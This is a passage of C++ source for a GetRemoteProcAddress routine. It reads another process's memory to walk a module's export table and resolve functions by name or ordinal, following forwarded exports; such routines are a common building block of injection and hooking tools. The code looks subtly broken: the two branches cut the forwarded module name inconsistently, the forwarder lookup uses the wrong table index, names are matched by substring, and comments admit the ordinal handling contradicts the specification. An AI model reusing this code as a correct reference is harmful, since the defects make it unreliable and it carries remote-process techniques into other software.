ExportOrdinalTable, ExportTable.NumberOfNames * sizeof(WORD), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* If we are searching for an ordinal we do that now */
|
|
if(UseOrdinal)
|
|
{
|
|
/* NOTE:
|
|
/* Microsoft's PE/COFF specification does NOT say we need to subtract the ordinal base
|
|
/* from our ordinal but it seems to always give the wrong function if we don't */
|
|
|
|
/* Make sure the ordinal is valid */
|
|
if(Ordinal < ExportTable.Base || (Ordinal - ExportTable.Base) >= ExportTable.NumberOfFunctions)
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
UINT FunctionTableIndex = Ordinal - ExportTable.Base;
|
|
|
|
/* Check if the function is forwarded and if so get the real address*/
|
|
if(ExportFunctionTable[FunctionTableIndex] >= ExportDirectory.VirtualAddress &&
|
|
ExportFunctionTable[FunctionTableIndex] <= ExportDirectory.VirtualAddress + ExportDirectory.Size)
|
|
{
|
|
Done = FALSE;
|
|
std::string TempForwardString;
|
|
TempForwardString.clear(); // Empty the string so we can fill it with a new name
|
|
|
|
/* Get the forwarder string one character at a time because we don't know how long it is */
|
|
for(UINT_PTR i = 0; !Done; ++i)
|
|
{
|
|
/* Get next character */
|
|
if(!::ReadProcessMemory(hProcess,
|
|
(LPCVOID)(RemoteModuleBaseVA + ExportFunctionTable[FunctionTableIndex] + i),
|
|
&TempChar, sizeof(TempChar), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
TempForwardString.push_back(TempChar); // Add it to the string
|
|
|
|
/* If it's NUL we are done */
|
|
if(TempChar == (CHAR)'\0')
|
|
Done = TRUE;
|
|
}
|
|
|
|
/* Find the dot that seperates the module name and the function name/ordinal */
|
|
size_t Dot = TempForwardString.find('.');
|
|
if(Dot == std::string::npos)
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Temporary variables that hold parts of the forwarder string */
|
|
std::string RealModuleName, RealFunctionId;
|
|
RealModuleName = TempForwardString.substr(0, Dot - 1);
|
|
RealFunctionId = TempForwardString.substr(Dot + 1, std::string::npos);
|
|
|
|
HMODULE RealModule = GetRemoteModuleHandle(hProcess, RealModuleName.c_str());
|
|
FARPROC TempReturn;// Make a temporary variable to hold return value
|
|
|
|
|
|
/* Figure out if the function was exported by name or by ordinal */
|
|
if(RealFunctionId.at(0) == '#') // Exported by ordinal
|
|
{
|
|
UINT RealOrdinal = 0;
|
|
RealFunctionId.erase(0, 1); // Remove '#' from string
|
|
|
|
/* My version of atoi() because I was too lazy to use the real one... */
|
|
for(size_t i = 0; i < RealFunctionId.size(); ++i)
|
|
{
|
|
if(RealFunctionId[i] >= '0' && RealFunctionId[i] <= '9')
|
|
{
|
|
RealOrdinal *= 10;
|
|
RealOrdinal += RealFunctionId[i] - '0';
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
|
|
/* Recursively call this function to get return value */
|
|
TempReturn = GetRemoteProcAddress(hProcess, RealModule, NULL, RealOrdinal, TRUE);
|
|
}
|
|
else // Exported by name
|
|
{
|
|
/* Recursively call this function to get return value */
|
|
TempReturn = GetRemoteProcAddress(hProcess, RealModule, RealFunctionId.c_str(), 0, FALSE);
|
|
}
|
|
|
|
/* Give back that memory */
|
|
delete[] ExportFunctionTable;
|
|
delete[] ExportNameTable;
|
|
delete[] ExportOrdinalTable;
|
|
|
|
/* Success!!! */
|
|
return TempReturn;
|
|
}
|
|
else // Not Forwarded
|
|
{
|
|
|
|
/* Make a temporary variable to hold return value*/
|
|
FARPROC TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[FunctionTableIndex]);
|
|
|
|
/* Give back that memory */
|
|
delete[] ExportFunctionTable;
|
|
delete[] ExportNameTable;
|
|
delete[] ExportOrdinalTable;
|
|
|
|
/* Success!!! */
|
|
return TempReturn;
|
|
}
|
|
}
|
|
|
|
|
|
/* Iterate through all the names and see if they match the one we are looking for */
|
|
for(DWORD i = 0; i < ExportTable.NumberOfNames; ++i) {
|
|
std::string TempFunctionName;
|
|
|
|
Done = FALSE;// Reset for next name
|
|
TempFunctionName.clear(); // Empty the string so we can fill it with a new name
|
|
|
|
/* Get the function name one character at a time because we don't know how long it is */
|
|
for(UINT_PTR j = 0; !Done; ++j)
|
|
{
|
|
/* Get next character */
|
|
if(!::ReadProcessMemory(hProcess, (LPCVOID)(RemoteModuleBaseVA + ExportNameTable[i] + j),
|
|
&TempChar, sizeof(TempChar), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
TempFunctionName.push_back(TempChar); // Add it to the string
|
|
|
|
/* If it's NUL we are done */
|
|
if(TempChar == (CHAR)'\0')
|
|
Done = TRUE;
|
|
}
|
|
|
|
/* Does the name match? */
|
|
if(TempFunctionName.find(lpProcName) != std::string::npos)
|
|
{
|
|
/* NOTE:
|
|
/* Microsoft's PE/COFF specification says we need to subtract the ordinal base
|
|
/*from the value in the ordinal table but that seems to always give the wrong function */
|
|
|
|
/* Check if the function is forwarded and if so get the real address*/
|
|
if(ExportFunctionTable[ExportOrdinalTable[i]] >= ExportDirectory.VirtualAddress &&
|
|
ExportFunctionTable[ExportOrdinalTable[i]] <= ExportDirectory.VirtualAddress + ExportDirectory.Size)
|
|
{
|
|
Done = FALSE;
|
|
std::string TempForwardString;
|
|
TempForwardString.clear(); // Empty the string so we can fill it with a new name
|
|
|
|
/* Get the forwarder string one character at a time because we don't know how long it is */
|
|
for(UINT_PTR j = 0; !Done; ++j)
|
|
{
|
|
/* Get next character */
|
|
if(!::ReadProcessMemory(hProcess,
|
|
(LPCVOID)(RemoteModuleBaseVA + ExportFunctionTable[i] + j),
|
|
&TempChar, sizeof(TempChar), NULL))
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
TempForwardString.push_back(TempChar); // Add it to the string
|
|
|
|
/* If it's NUL we are done */
|
|
if(TempChar == (CHAR)'\0')
|
|
Done = TRUE;
|
|
}
|
|
|
|
/* Find the dot that seperates the module name and the function name/ordinal */
|
|
size_t Dot = TempForwardString.find('.');
|
|
if(Dot == std::string::npos)
|
|
goto GRPA_FAIL_JMP;
|
|
|
|
/* Temporary variables that hold parts of the forwarder string */
|
|
std::string RealModuleName, RealFunctionId;
|
|
RealModuleName = TempForwardString.substr(0, Dot);
|
|
RealFunctionId = TempForwardString.substr(Dot + 1, std::string::npos);
|
|
|
|
HMODULE RealModule = GetRemoteModuleHandle(hProcess, RealModuleName.c_str());
|
|
FARPROC TempReturn;// Make a temporary variable to hold return value
|
|
|
|
|
|
/* Figure out if the function was exported by name or by ordinal */
|
|
if(RealFunctionId.at(0) == '#') // Exported by ordinal
|
|
{
|
|
UINT RealOrdinal = 0;
|
|
RealFunctionId.erase(0, 1); // Remove '#' from string
|
|
|
|
/* My version of atoi() because I was to lazy to use the real one... */
|
|
for(size_t i = 0; i < RealFunctionId.size(); ++i)
|
|
{
|
|
if(RealFunctionId[i] >= '0' && RealFunctionId[i] <= '9')
|
|
{
|
|
RealOrdinal *= 10;
|
|
RealOrdinal += RealFunctionId[i] - '0';
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
|
|
/* Recursively call this function to get return value */
|
|
TempReturn = GetRemoteProcAddress(hProcess, RealModule, NULL, RealOrdinal, TRUE);
|
|
}
|
|
else // Exported by name
|
|
{
|
|
/* Recursively call this function to get return value */
|
|
TempReturn = GetRemoteProcAddress(hProcess, RealModule, RealFunctionId.c_str(), 0, FALSE);
|
|
}
|
|
|
|
/* Give back that memory */
|
|
delete[] ExportFunctionTable;
|
|
delete[] ExportNameTable;
|
|
delete[] ExportOrdinalTable;
|
|
|
|
/* Success!!! */
|
|
return TempReturn;
|
|
}
|
|
else // Not Forwarded
|
|
{
|
|
|
|
/* Make a temporary variable to hold return value*/
|
|
FARPROC TempReturn;
|
|
|
|
/* NOTE:
|
|
/* Microsoft's PE/COFF specification says we need to subtract the ordinal base
|
|
/*from the value in the ordinal table but that seems to always give the wrong function */
|
|
//TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[ExportOrdinalTable[i] - ExportTable.Base]);
|
|
|
|
/* So we do it this way instead */
|
|
TempReturn = (FARPROC)(RemoteModuleBaseVA + ExportFunctionTable[ExportOrdinalTable[i]]);
|
|
|
|
/* Give back that memory */
|
|
delete[] ExportFunctionTable;
|
|
delete[] ExportNameTable;
|
|
delete[] ExportOrdinalTable;
|
|
|
|
/* Success!!! */
|
|
return TempReturn;
|
|
}
|
|
}
|
|
|
|
/* Wrong function let's try the next... */
|
|
}
|
|
|
|
/* Uh Oh... */
|
|
GRPA_FAIL_JMP:
|
|
|
|
/* If we got to the point where we allocated memory we need to give it back */
|
|
if(ExportFunctionTable != NULL)
|
|
delete[] ExportFunctionTable;
|
|
if(ExportNameTable != NULL)
|
|
delete[] ExportNameTable;
|
|
if(ExportOrdinalTable != NULL)
|
|
delete[] ExportOrdinalTable;
|
|
|
|
/* Falure... */
|
|
return NULL;
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
|
|
#endif
|
|
|